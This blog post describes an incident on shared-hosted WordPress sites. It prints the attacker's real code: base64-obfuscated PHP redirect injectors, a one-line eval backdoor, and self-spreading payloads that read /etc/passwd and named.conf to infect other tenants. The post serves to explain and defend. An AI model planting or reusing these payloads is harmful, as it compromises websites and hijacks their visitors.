A Musing on WordPress and Website Hacking


Introduction
As an owner of a software and IT company, I love to solve technical problems. That’s why when recently sites I own and run, as well as my customers’ sites, were seemingly infected with malware (through no fault of mine or the company’s, more on this later), and having swiftly removed the said malware, it gave me the feeling of disappointment and emptiness, that the malware removal was too simple. While I was pretty sure what I removed was merely the symptom and not the root cause, and heck, I want to find out what the root cause is, days have gone by and the malware did not return.

Then one day, to my delight, it did.

Don’t get me wrong, I understand that on the technical side, being a seasoned software engineer, an hour of my time is way more valuable than say, a shoe salesman’s (sorry Al Bundy), or people of that ilk, and it’s not the best use of my time to fight what likely would be some teenage male from some 3rd world country who’s got too much time on his hands (or pimples on his face) because he can’t find a proper job or a date. But I enjoy the challenge. Game on.

Symptom

The infected sites would show absolutely no symptoms to the typical user familiar with the site, e.g. the admin or owners, who obviously would directly type in the url in the browser. For visitors unfamiliar with the site, finding the site on major search engines and clicking in, well, those traffic will be redirected to malicious sites. In my case, http://mefound.sytes.net/?said=3333g&q=<blah blah blah> Yup, the attacker wanted to steal my traffic. What??!!! How is this happening? Is this divine (i.e. google) intervention??!! (in case you can’t tell, that was my attempt at melodramatic sarcasm)

Yawn.

Elementary, My Dear Watson

So, I put my detective hat on. ssh’ing into the server, cutting off the code path at strategic places quickly led me to identify thousands of lines of

eval(base64_decode(“DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCE\
kcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfV\
VNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cm\
lzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbW\
JsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzd\
HIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJ
hbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb\
20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yI\
HByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21\
hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb\
20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikp\
IHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFk\
ZXIoIkxvY2F0aW9uOiBodHRwOi8vd3d3LmVydHl1aW9wLml0c2FvbC5jb20vIik7DQpleGl0KCk7DQp9Cn0KfQ0KfQ0KfQ==”));

in thousands of files. Yup, this stupid eval and base64 attack. So, I went ahead to spend the next 3 months of my life opening each php file, and removing the code manually.

Yes, that was sarcasm. Being a linux guru, I wrote a quick script (heck, could probably have been one linux command if I felt like it) and removed it all. Instead of 3 months, it took….max a couple minutes for a few thousand files?

And by the way, what is all that DQplcn… gobbledygook you ask? Simply base64 decode it, and you’ll get:

error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER[‘HTTP_REFERER’];
$uag=$_SERVER[‘HTTP_USER_AGENT’];
if ($uag) {
if (!stristr($uag,”MSIE 7.0″)){
if (stristr($referer,”yahoo”) or stristr($referer,”bing”) or stristr($referer,”rambler”) or stristr($referer,”gogo”) or stristr($referer,”live.com”)or stristr($referer,”aport”) or stristr($referer,”nigma”) or stristr($referer,”webalta”) or stristr($referer,”begun.ru”) or stristr($referer,”stumbleupon.com”) or stristr($referer,”bit.ly”) or stristr($referer,”tinyurl.com”) or preg_match(“/yandex\.ru\/yandsearch\?(.*?)\&lr\=/”,$referer) or preg_match (“/google\.(.*?)\/url\?sa/”,$referer) or stristr($referer,”myspace.com”) or stristr($referer,”facebook.com”) or stristr($referer,”aol.com”)) {
if (!stristr($referer,”cache”) or !stristr($referer,”inurl”)){
header(“Location: http://www.ertyuiop.itsaol.com/”);
exit();
}
}
}
}
}

All that does is what the victims would experience, i.e. if they are not using ie7 (why??), and if they come in from yahoo, bing, google, etc, they get sent to a dynamic dns site called http://www.ertyuiop.itsaol.com/ which will subsequently redirect their traffic to whatever site the attacker wants (which can be configured by the attacker, however he wants whenever he wants)

Backdoor

Now for the interesting part. What I had described above and subsequently removed was simply the symptom. I had to wait what, a glorious week, for the attack to return before I got a chance to observe further. Of course, I didn’t sit on my hands (or other parts of my anatomy) without taking some preventive actions. First, mechanisms were put in place to detect this particular malware infection on a periodic basis (cron job, for those who care). Then, other typical security measures, so typical that I won’t go into here. Now, I await thee, my alleged pimple-faced attacker, whom I’m toying with (to be fair, he’s toying with me too, which makes this fun).

Then, came the reinfection. Good. Now I can spot for patterns. His mistake number 1: he infected me at the same time of the week when the traffic to any of my sites was relatively low. Not too low to the point where I can look at http accesses manually, but at least, I can run the typical linux commands to filter irrelevant lines out and make it reasonable to spot. His mistake #2: he infected a site that was new and thus, should not have much, if any, traffic. That made his futile attempts stick out like a sore thumb. More specifically, in apache logs, you’d see:

91.206.230.51 – – [DD/MMM/YYYY:00:23:20 -0700] “POST <url>/404.php HTTP/1.1” 200 14 “-” “-”
91.206.230.51 – – [DD/MMM/YYYY:00:23:10 -0700] “POST <url>/404.php HTTP/1.1” 500 73629 “-” “-”
91.206.230.51 – – [DD/MMM/YYYY:00:23:20 -0700] “POST <url>/404.php HTTP/1.1” 200 7 “-” “-“

Yes, per his IP, simple ip geolocator tells me he must be Russian or Ukraine. Or at least, in those countries. Hence during his day time hours, normal traffic for my site is low and helped me narrow down his requests.

Well who cares about his nationality. What is more important is, what’s this magical 404.php? Well, taking a look at it, the first line says:

<?php if ($_POST[“php”]){eval(base64_decode($_POST[“php”]));exit;} ?>

This is lethal. It essentially allows any piece of code to be run on the server. So all he has to do to activate his attack, is to invoke that url given some base64 encoded php code. I never understood why php allows an eval function (yes, I know you can disable it, but, wordpress and other frameworks require it….see my rant about frameworks below). Then again, unless someone really hates your guts (and I’m sure no one hates mine), they won’t do anything to you other than to steal your traffic, or do something that benefits them in some way.

Anyways, his mistake #3, he was too lazy to use a proxy. Therefore I was able to pinpoint the first time he accessed my site, several weeks prior to the last attack, and how he injected his code and backdoor:

91.206.230.51 – – [DD/MMM/YYYY:02:32:21 -0700] “POST <url>/wp-login.php HTTP/1.1” 302 – “-” “Mozilla/5.0 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)”
91.206.230.51 – – [DD/MMM/YYYY:02:32:24 -0700] “GET <url>/wp-admin/index.php HTTP/1.1” 302 – “-” “Mozilla/5.0 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)”
91.206.230.51 – – [DD/MMM/YYYY:02:32:25 -0700] “GET <url>/wp-login.php?redirect_to=http://<url>/wp-admin/&reauth=1 HTTP/1.1” 200 2117 “-” “Mozilla/5.0 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)”
91.206.230.51 – – [DD/MMM/YYYY:02:32:25 -0700] “GET <url>/wp-admin/index.php HTTP/1.1” 200 38503 “-” “Mozilla/5.0 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)”
91.206.230.51 – – [DD/MMM/YYYY:02:32:29 -0700] “GET <url>/wp-admin/theme-editor.php?file=/themes/sunspot/404.php&theme=Sunspot&dir=theme HTTP/1.1” 200 28982 “-” “Mozilla/5.0 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)”
91.206.230.51 – – [DD/MMM/YYYY:02:32:32 -0700] “GET <url>/wp-admin/theme-editor.php?file=<filesystem_dir>/404.php&theme=<suppressed>&a=te&scrollto=0 HTTP/1.1” 200 29267 “-” “Mozilla/5.0 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)”
91.206.230.51 – – [DD/MMM/YYYY:09:45:32 -0700] “POST <url>/404.php HTTP/1.1” 200 14 “-” “-”
91.206.230.51 – – [DD/MMM/YYYY:09:45:22 -0700] “POST <url>/404.php HTTP/1.1” 500 73629 “-” “-”
91.206.230.51 – – [DD/MMM/YYYY:09:45:33 -0700] “POST <url>/404.php HTTP/1.1” 200 7 “-” “-“

Learnings from these few lines:
1. he logged in via wp-login.php, by accessing this page once. Hence, he must have the password to the site.
2. he used wordpress’s built in editor to inject the code
3. he did this manually, as he used the editor of wordpress…oh wait, automatically, since the attack only took 11 seconds.
4. after the backdoor injection it took over 7 hours for the actual invocation of the backdoor….he works a 9-5 job?
5. He likes bing more than google, as he pretends to be a bingbot.

Questions:

1. Why does he, supposedly, already have the admin password?
2. How do you prevent someone from getting the admin password via unintended means?
3. Does he have other backdoors, to re-inject the original backdoor, now that he has had a chance, in theory, to run any command he wanted?
4. Did he steal any data?
5. Are you at his mercy?

Answers:

1. in examining further the apache logs, many IPs access the wordpress logon page, from IPs you wouldn’t expect, like Ukraine, Russia, etc, when my sites aren’t intended for people in those countries. The only explanation is that, they are trying to hack into my (and yours, for all y’all with a website) sites, try to inject malicious code, and increase their alexa ranking, or google pagerank, etc. Simplest way to get access to a site is to use brute force at guessing passwords, which would theoretically explain the numerous http accesses to the wordpress login page.

2. Use captcha, or other more advanced techniques. Just, do NOT, share password, or store password in plain text.

3. Time will tell. We haven’t heard the last from him. But don’t fret, he hasn’t heard the last from me either. There’ll be more to come, simply because, the more I know about him, the more traps there’d be in place for him.

4. Depends on what you mean by data. Important data are all encrypted. Data not encrypted I don’t care to lose.

5. No. With a good backup system, worse comes to worse, just restore stuff with minimal data loss. This goes for data files, databases, and other files.

Again, this is not the end of it. Like before, I am excited about and am looking forwards to his return, so I can fully unmask his techniques and find remedies for the betterment of humanity. Then again, his techniques aren’t that advanced, which was a disappointment, but, good job on his part to get as far as he did.

As for my detective work on this, all I can say is, with a keen eye for details, one truth prevails.

Frameworks: Remember the Clone Wars?

For the record, I hate Star Wars, Star Trek, or shows of that nature. But it rings true, that people confine themselves to using frameworks, which, if contains a security vulnerability, as WordPress often does, you will be screwed. From data loss to stolen private information. Filenames, locations, etc are all standardized. Heck, it’s all open source, whereby vulnerabilities can be found by anybody with too much time on their hands. Trojans can be placed in a strategic manner, and an “order 66” can be carried out after some period of hibernation (again, I am NOT a Star Wars fan, and I had to wikipedia the order 66).

I personally hate frameworks. I am a hardcore low level HTML/CSS/javascript guy and prefer to code stuff from the ground up.  The code, secret to anybody who is not me, can therefore not be hacked easily, unless they can get their grubby hands on it through other means. But even if they do somehow hack the site, I will be sure my code is not the reason, and that’s all I can do as a developer. That is, I cannot stop someone from pointing a gun at my associates’ heads demanding our ftp password.

Ultimate Cause

I began by saying that the malware infection was not my fault. What was the root cause? It was by a site, owned by a paying customer, who uses wordpress with a weak password. It was not their fault either. It’s the fact that people want their web hosting cost to be low to the point where they have to be in a multi-tenant environment, whereby they can open/become a security hole and affect other sites owned by other people, and vice versa. If we valued our web properties more, there is no reason why people won’t want to pay more for a single tenancy setup, which makes life easier for me, and everyone else. Heck, it doesn’t cost that much more and the benefits are so much better. Yet people are unwilling to pay (I won’t be calling them cheap, however, just out of politeness).

Parting Shots

This all happened because of the lack of understanding of the technical industry. People for whatever reason perceives technology and websites, and hell, technical labor, to be cheap. The truth is, as I mentioned above, numerous http requests are made constantly, to try to hack into all my/my customers’/your wordpress sites, no matter how small they are. Whenever I talk to a new customer who wants me to make them a site, all they care about is being able to go to the browser, type in the URL, and magically attract customers. Non-technical people are too idealistic and naive. And that’s exactly why I don’t like making sites for novice people, because invariably I’ll have to explain this all to them, that hackers are omnipresent, domain name registration has whois privacy issues, database backups, site maintenance, etc. All those take time, has a cost. For each additional feature they want (and invariably they want everything), there’ now a new thing someone else can hack in to. Yet nobody acknowledges that nor want to pay for quality or maintenance. I’m immediately reminded of a few customers I had recently that were the epitome of the problem.

Alright, I’m getting off my soap box.

 

EDIT:  Update!!!!

 

Joy to the WORLD! The hacker’s back!

And obviously, with my “traps” in place, none of my sites were affected. What’s more, I got his code. Hurrah.

He sent me 3 requests, as per the aforementioned php parameter in a post request, as follows:

One:
c2V0X3RpbWVfbGltaXQoMCk7DQppZ25vcmVfdXNlcl9hYm9ydCgxKTsNCmVjaG8gInp6enp6enoiOw0KDQpmdW5jdGlvbiBmaW5kX2ZpbGVzKCRwYXRoLCAkcGF0dGVybiwgJGNhbGxiYWNrKSB7DQokcGF0aCA9IHJ0cmltKHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJHBhdGgpLCAnLycpIC4gJy8qJzsNCiANCmZvcmVhY2ggKGdsb2IgKCRwYXRoKSBhcyAkZnVsbG5hbWUpIHsNCiBpZiAoaXNfZGlyKCRmdWxsbmFtZSkgYW5kICFzdHJpc3RyKCcvcHJvYy8nLCRmdWxsbmFtZSkpIHsNCmZpbmRfZmlsZXMoJGZ1bGxuYW1lLCAkcGF0dGVybiwgJGNhbGxiYWNrKTsNCiB9IGVsc2UgaWYgKHByZWdfbWF0Y2goJHBhdHRlcm4sICRmdWxsbmFtZSkpIHsNCmNhbGxfdXNlcl9mdW5jKCRjYWxsYmFjaywgJGZ1bGxuYW1lKTsNCiB9DQp9DQogfQ0KDQpmdW5jdGlvbiBtYWtlY2hhbmdlICgkcGF0aCl7DQokY29kZT0nDQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSW1wnSFRUUF9SRUZFUkVSXCddOw0KJHVhZz0kX1NFUlZFUltcJ0hUVFBfVVNFUl9BR0VOVFwnXTsNCmlmICgkdWFnKSB7DQppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7DQppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpew0KaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL2dvb2Rtb3JuaW5nLjI1dS5jb20vIik7DQpleGl0KCk7DQp9Cn0KfQ0KfQ0KfSc7DQppZiAoaXNfd3JpdGFibGUoJHBhdGgpKSB7DQppZiAoaXNfZmlsZSgkcGF0aCkpIHsNCglpZiAoc3RyaXN0cigkcGF0aCwiLnBocCIpIGFuZCAhc3RyaXN0cigkcGF0aCwicG9zdCIpIGFuZCAhc3RyaXN0cigkcGF0aCwiaW1nIikgYW5kICFzdHJpc3RyKCRwYXRoLCJ0bXAiKSl7DQokZm89ZmlsZV9nZXRfY29udGVudHMgKCRwYXRoKTsNCglpZiAoIXN0cmlzdHIoJGZvLCJiYXNlNjQiKSkgew0KJGFhPWZpbGVjdGltZSAoJHBhdGgpOw0KCSRmaT1wcmVnX3JlcGxhY2UoIi88XD9waHAvIiwiPD9waHAJIAlldmFsKGJhc2U2NF9kZWNvZGUoXCIiLmJhc2U2NF9lbmNvZGUoJGNvZGUpLiJcIikpOyIsJGZvKTsNCgkkZnJvPWZvcGVuKCRwYXRoLCJ3Iik7DQpmd3JpdGUgKCRmcm8sJGZpKTsNCmZjbG9zZSAoJGZybyk7DQpAdG91Y2ggKCRwYXRoLCRhYSk7DQplY2hvKCRwYXRoLiJcbiIpOw0KfWVsc2Ugew0KCSRhYT1maWxlY3RpbWUgKCRwYXRoKTsNCgkkZmk9cHJlZ19yZXBsYWNlKCIvZXZhbFwoYmFzZTY0X2RlY29kZVwoXCIoLio/KVwiLyIsImV2YWwoYmFzZTY0X2RlY29kZShcIiIuYmFzZTY0X2VuY29kZSgkY29kZSkuIlwiIiwkZm8pOw0KJGZybz1mb3BlbigkcGF0aCwidyIpOw0KCWZ3cml0ZSAoJGZybywkZmkpOw0KZmNsb3NlICgkZnJvKTsNCglAdG91Y2ggKCRwYXRoLCRhYSk7DQplY2hvKCRwYXRoLiJcbiIpOw0KCX0NCn0NCgl9DQp9DQoJfQ0KLy9pZiAoY2hkaXIgKCIvdG1wIikpewovL2ZpbmRfZmlsZXMoIi4uIi4iL3RtcCIsICcvcGhwJC8nLCAnbWFrZWNoYW5nZScpOwovL31lbHNlIHsKY2hkaXIgKCRfU0VSVkVSW0RPQ1VNRU5UX1JPT1RdKTsNCi8vY2hkaXIgKCIuLiIpOwokcHV0dD1nZXRjd2QoKTsNCmZpbmRfZmlsZXMoJHB1dHQsICcvcGhwJC8nLCAnbWFrZWNoYW5nZScpOw0KY2hkaXIgKCRfU0VSVkVSW0RPQ1VNRU5UX1JPT1RdKTsNCmNoZGlyICgiLi4iKTsKJHB1dHQ9Z2V0Y3dkKCk7DQpmaW5kX2ZpbGVzKCRwdXR0LCAnL3BocCQvJywgJ21ha2VjaGFuZ2UnKTsNCi8vfQpleGl0Ow==

Two:
c2V0X3RpbWVfbGltaXQoMCk7DQppZ25vcmVfdXNlcl9hYm9ydCgxKTsNCmVjaG8gInp6enp6enoiOw0KJGNvZGU9Jw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsNCmlmICghJHFhenBsbSl7DQokcmVmZXJlcj0kX1NFUlZFUltcJ0hUVFBfUkVGRVJFUlwnXTsNCiR1YWc9JF9TRVJWRVJbXCdIVFRQX1VTRVJfQUdFTlRcJ107DQppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7DQppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpew0KaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL2dvb2Rtb3JuaW5nLjI1dS5jb20vIik7DQpleGl0KCk7DQp9Cn0KfQ0KfQ0KfSc7DQoNCmZ1bmN0aW9uIG1ha2VjaGFuZ2UgKCRwYXRoLCRjb2RlKXsNCglpZiAoaXNfd3JpdGFibGUoJHBhdGgpKSB7DQoJCWlmIChpc19maWxlKCRwYXRoKSkgew0KCQkJaWYgKHN0cmlzdHIoJHBhdGgsIi5waHAiKSl7DQoJCQkJJGZvPWZpbGVfZ2V0X2NvbnRlbnRzICgkcGF0aCk7DQoJCQkJaWYgKCFzdHJpc3RyKCRmbywiYmFzZTY0IikpIHsNCgkJCQkJJGFhPWZpbGVjdGltZSAoJHBhdGgpOw0KCQkJCQkkZmk9cHJlZ19yZXBsYWNlKCIvPFw/cGhwLyIsIjw/cGhwCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkJCWV2YWwoYmFzZTY0X2RlY29kZShcIiIuYmFzZTY0X2VuY29kZSgkY29kZSkuIlwiKSk7IiwkZm8pOw0KCQkJCQkkZnJvPWZvcGVuKCRwYXRoLCJ3Iik7DQoJCQkJCWZ3cml0ZSAoJGZybywkZmkpOw0KCQkJCQlmY2xvc2UgKCRmcm8pOw0KCQkJCQlAdG91Y2ggKCRwYXRoLCRhYSk7DQoJCQkJCWVjaG8gJHBhdGguIlxuIjsNCgkJCQl9ZWxzZSB7DQoJCQkJCSRhYT1maWxlY3RpbWUgKCRwYXRoKTsNCgkJCQkJJGZpPXByZWdfcmVwbGFjZSgiL2V2YWxcKGJhc2U2NF9kZWNvZGVcKFwiKC4qPylcIi8iLCJldmFsKGJhc2U2NF9kZWNvZGUoXCIiLmJhc2U2NF9lbmNvZGUoJGNvZGUpLiJcIiIsJGZvKTsNCgkJCQkJJGZybz1mb3BlbigkcGF0aCwidyIpOw0KCQkJCQlmd3JpdGUgKCRmcm8sJGZpKTsNCgkJCQkJZmNsb3NlICgkZnJvKTsNCgkJCQkJQHRvdWNoICgkcGF0aCwkYWEpOw0KCQkJCQllY2hvICRwYXRoLiJcbiI7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KfQ0KaWYgKCRuYW1lZD1AZmlsZV9nZXRfY29udGVudHMoIi9ldGMvbmFtZWQuY29uZiIpKSB7DQp9ZWxzZWlmKCRuYW1lZD1AZmlsZV9nZXRfY29udGVudHMoIi92YXIvbmFtZWQvZXRjL25hbWVkLmNvbmYiKSkgew0KfWVsc2VpZigkbmFtZWQ9QGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL2JpbmQvbmFtZWQuY29uZiIpKSB7DQp9ZWxzZWlmKCRuYW1lZD1AZmlsZV9nZXRfY29udGVudHMoIi9ldGMvbmFtZWRiL25hbWVkLmNvbmYiKSkgew0KfWVsc2VpZigkbmFtZWQ9QGZpbGVfZ2V0X2NvbnRlbnRzKCIvdmFyL25hbWVkL2V0Yy9uYW1lZGIvbmFtZWQuY29uZiIpKSB7DQp9ZWxzZSB7DQoJZXhlYyAoImxvY2F0ZSBuYW1lZC5jb25mIiwkb3V0KTsNCgkvL2VjaG8gJG91dDsNCgkvL3ByaW50X3IgKCRvdXQpOw0KCWlmICgkb3V0WzBdKSB7DQoJCXByZWdfbWF0Y2hfYWxsICgiLyguKj8pIC8iLCRvdXRbMF0sJG1hdGNoKTsNCgkJLy9wcmludF9yICgkbWF0Y2gpOw0KCQlmb3JlYWNoICgkbWF0Y2hbMV0gYXMgJG1vKSB7DQoJCQlpZiAoc3RyaXN0cigkbW8sImNvbmYiKSkgew0KCQkJCSRuYW1lZD1maWxlX2dldF9jb250ZW50cyAoJG1vKTsNCgkJCX0NCgkJfQ0KDQoJfQ0KfQ0KaWYgKCRuYW1lZCkgew0KCXByZWdfbWF0Y2hfYWxsICgiL3pvbmUgXCIoLio/KVwiLyIsJG5hbWVkLCRuYW1hdCk7DQoJLy9wcmludF9yICgkbmFtYXQpOw0KCWlmICgkbmFtYXRbMV0pIHsNCgkJJHBhc3N3ZD1maWxlX2dldF9jb250ZW50cygiL2V0Yy9wYXNzd2QiKTsNCgkJaWYgKCRwYXNzd2QpIHsNCgkJCXByZWdfbWF0Y2hfYWxsICgiLyhcOlw6fFwmXDopKC4qPylcOi8iLCRwYXNzd2QsJG1hdGtvKTsNCgkJCS8vcHJpbnRfciAoJG1hdGtvKTsNCgkJCWlmICgkbWF0a29bMl0pIHsNCgkJCQlmb3JlYWNoICgkbWF0a29bMl0gYXMgJG11KSB7DQoJCQkJCWlmIChzdHJpc3RyKCRtdSwiaG9tZSIpKSB7DQoJCQkJCQkkdXNlcmRpcnNbXT0kbXU7DQoJCQkJCX0NCgkJCQl9DQoJCQkJaWYgKCR1c2VyZGlycykgew0KCQkJCQlmb3JlYWNoICgkdXNlcmRpcnMgYXMgJHVzZXJkaXIpIHsNCgkJCQkJCWZvcmVhY2ggKCRuYW1hdFsxXSBhcyAkZG9tYWluKSB7DQoJCQkJCQkJJGRvY2Rpcj0kdXNlcmRpci4iL2RvbWFpbnMvIi4kZG9tYWluLiIvcHVibGljX2h0bWwiOw0KCQkJCQkJCWlmIChpc19kaXIoJGRvY2RpcikpIHsNCgkJCQkJCQkJJGRvY2RpcnNbXT0kZG9jZGlyOw0KCQkJCQkJCQkvL2JyZWFrOw0KDQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KfSBlbHNlIHsNCgllY2hvICJubyBuYW1lIjsNCn0NCg0KLy9wcmludF9yICgkZG9jZGlycyk7DQppZiAoJGRvY2RpcnMpIHsNCglmb3JlYWNoICgkZG9jZGlycyBhcyAkZG9jZGlyKSB7DQoJCWlmICgkZGggPSBvcGVuZGlyKCRkb2NkaXIpKSB7DQoJCQl3aGlsZSAoKCRmaWxlID0gcmVhZGRpcigkZGgpKSAhPT0gZmFsc2UpIHsNCgkJCQlpZiAoJGZpbGUgIT0gIi4iICYmICRmaWxlICE9ICIuLiIpIHsNCgkJCQkJJHBhdGg9JGRvY2Rpci4iLyIuJGZpbGU7DQoJCQkJCWlmIChpc19kaXIoJGZpbGUpJiZpc193cml0YWJsZSgkZmlsZSkpIHsNCgkJCQkJCWlmICgkZGhoID0gb3BlbmRpcigkcGF0aCkpIHsNCgkJCQkJCQl3aGlsZSAoKCRmaWxleiA9IHJlYWRkaXIoJGRoaCkpICE9PSBmYWxzZSkgew0KCQkJCQkJCQlpZiAoJGZpbGV6ICE9ICIuIiAmJiAkZmlsZXogIT0gIi4uIikgew0KCQkJCQkJCQkJJHBhdGgyPSRwYXRoLiIvIi4kZmlsZXo7DQoJCQkJCQkJCQltYWtlY2hhbmdlICgkcGF0aDIsJGNvZGUpOw0KCQkJCQkJCQl9DQoJCQkJCQkJfQ0KCQkJCQkJCWNsb3NlZGlyKCRkaGgpOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJCW1ha2VjaGFuZ2UgKCRwYXRoLCRjb2RlKTsNCgkJCQl9DQoJCQl9DQoJCQljbG9zZWRpcigkZGgpOw0KCQl9DQoJfQ0KfQ0KZXhpdDsNCg==

Three:
